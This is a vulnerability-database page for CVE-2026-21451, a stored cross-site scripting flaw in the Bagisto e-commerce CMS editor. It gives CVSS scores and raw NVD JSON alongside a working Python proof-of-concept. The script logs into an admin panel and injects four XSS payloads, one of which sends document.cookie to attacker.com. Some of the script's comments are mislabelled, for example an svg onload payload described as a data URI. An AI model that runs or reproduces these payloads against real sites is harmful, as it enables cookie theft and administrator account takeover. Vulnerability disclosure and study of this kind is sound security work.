Security Vulnerability Report
中文
CVE-2026-21451 CVSS 8.4 HIGH

CVE-2026-21451

Published: 2026-01-02 21:16:03
Last Modified: 2026-01-08 21:20:07

Description

Bagisto is an open source laravel eCommerce platform. A stored Cross-Site Scripting (XSS) vulnerability exists in Bagisto prior to version 2.3.10 within the CMS page editor. Although the platform normally attempts to sanitize `<script>` tags, the filtering can be bypassed by manipulating the raw HTTP POST request before submission. As a result, arbitrary JavaScript can be stored in the CMS content and executed whenever the page is viewed or edited. This exposes administrators to a high-severity risk, including complete account takeover, backend hijacking, and malicious script execution. Version 2.3.10 fixes the issue.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:* - VULNERABLE
Bagisto < 2.3.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-21451 PoC - Stored XSS in Bagisto CMS Page Editor # Target: Bagisto < 2.3.10 # Author: Security Research TARGET_URL = "http://target-site.com/admin/cms/pages" LOGIN_URL = "http://target-site.com/admin/login" USERNAME = "admin" PASSWORD = "admin123" session = requests.Session() def login(): """Authenticate to Bagisto admin panel""" login_data = { 'email': USERNAME, 'password': PASSWORD } response = session.post(LOGIN_URL, data=login_data) return 'admin' in response.url or response.status_code == 200 def bypass_xss_filter(): """Bypass script tag filtering via HTTP request manipulation""" # Method 1: HTML entity encoded script tag payload1 = '&lt;script&gt;alert(document.cookie)&lt;/script&gt;' # Method 2: Event handler injection payload2 = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' # Method 3: Case mixing to bypass case-sensitive filters payload3 = '<ScRiPt>alert("XSS")</ScRiPt>' # Method 4: Data URI protocol payload4 = '<svg onload=alert(1)>' return [payload1, payload2, payload3, payload4] def inject_xss(): """Inject XSS payload into CMS page content""" payloads = bypass_xss_filter() for i, payload in enumerate(payloads): cms_data = { 'page': { 'title': f'PoC Page {i+1}', 'html_content': f'<div>{payload}</div>', 'channels': [1], 'locale': 'en' } } # Send raw HTTP POST with manipulated content-type headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } response = session.post(TARGET_URL, data=cms_data, headers=headers) if response.status_code == 200 or response.status_code == 201: print(f"[+] Payload {i+1} sent successfully") else: print(f"[-] Payload {i+1} failed with status {response.status_code}") if __name__ == "__main__": print("[*] CVE-2026-21451 Bagisto Stored XSS PoC") print("[*] Target: ", TARGET_URL) if login(): print("[+] Login successful") inject_xss() print("[*] XSS payloads sent. Check CMS pages for execution.") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21451", "sourceIdentifier": "[email protected]", "published": "2026-01-02T21:16:02.930", "lastModified": "2026-01-08T21:20:06.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bagisto is an open source laravel eCommerce platform. A stored Cross-Site Scripting (XSS) vulnerability exists in Bagisto prior to version 2.3.10 within the CMS page editor. Although the platform normally attempts to sanitize `<script>` tags, the filtering can be bypassed by manipulating the raw HTTP POST request before submission. As a result, arbitrary JavaScript can be stored in the CMS content and executed whenever the page is viewed or edited. This exposes administrators to a high-severity risk, including complete account takeover, backend hijacking, and malicious script execution. Version 2.3.10 fixes the issue."}, {"lang": "es", "value": "Bagisto es una plataforma de comercio electrónico laravel de código abierto. Existe una vulnerabilidad de cross-site scripting (XSS) almacenado en Bagisto en versiones anteriores a la 2.3.10 dentro del editor de páginas del CMS. Aunque la plataforma normalmente intenta sanear las etiquetas '"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.10", "matchCriteriaId": "E9A19FD0-5100-48D6-BBB3-5A4CA1D90593"}]}]}], "references": [{"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-2mwc-h2mg-v6p8", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}